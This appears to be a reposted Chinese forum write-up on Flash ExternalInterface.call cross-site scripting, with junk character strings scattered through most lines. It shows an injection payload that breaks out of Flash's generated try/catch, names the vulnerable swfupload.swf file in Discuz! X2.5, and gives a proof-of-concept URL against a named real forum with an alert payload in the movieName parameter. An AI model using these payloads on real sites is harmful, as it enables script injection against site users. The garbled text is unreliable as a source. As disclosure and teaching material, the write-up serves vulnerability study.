上回我们说
8 i- P1 ~6 p# r$ W% n- c1 ~ q( I7 R; O0 n
flash.external.ExternalInterface.call($methodName, $parameter)# {5 g; @, i* ^" v7 v
在浏览器中执行的是
- y; [, `4 d* {# F% G
- t3 S4 A' a3 y( Etry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
( \2 }( N. ~) u5 j3 ?# Y4 a对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如1 C3 N( K+ {' c2 q; w, o! g8 Z: E
$ W* b& c" ]6 Z% i" Vflash.external.ExternalInterface.call("object."+$methodName, $parameter)7 J" o' |5 M3 c: | }( |: s5 b
$methodName = a())}catch(e){alert(/xss/)}//, p1 v% O3 l8 ]/ n+ {: ^( H
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
) i' X- m0 D. Y; M% ]( i) x5 Z5 S( V& _5 o2 O; o$ E5 Q1 n- G/ }
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' z. ~! f; i6 c: Z$ ~# r9 O& I
* P5 j- A V! t: ~7 o8 d" q1 T/ t这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
1 ~8 s0 S6 N4 y K( z4 D0 @' q& _杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。6 G. O4 w1 Y" i$ q$ J! _
% y* r5 o0 s! @3 W9 N
/ c& s% C- T N3 C9 T+ W' Q9 \" }/ @* ^3 Q3 u6 e
漏洞文件:upload\static\image\common\swfupload.swf# \5 k/ j* p1 z1 } n0 l
/ |* [4 t* W( G. K) {
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
* m& A7 _* ?( h% B( u
+ X T; ^1 I, E$ I. r) K; w# K3 ]8 f. z, c' d$ X
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//5 |' t8 I t8 G8 |: h) {0 P! z N0 ^
/ }( {. c2 R7 I7 O+ I
! }' @6 j p' e1 V$ f, l2 @
|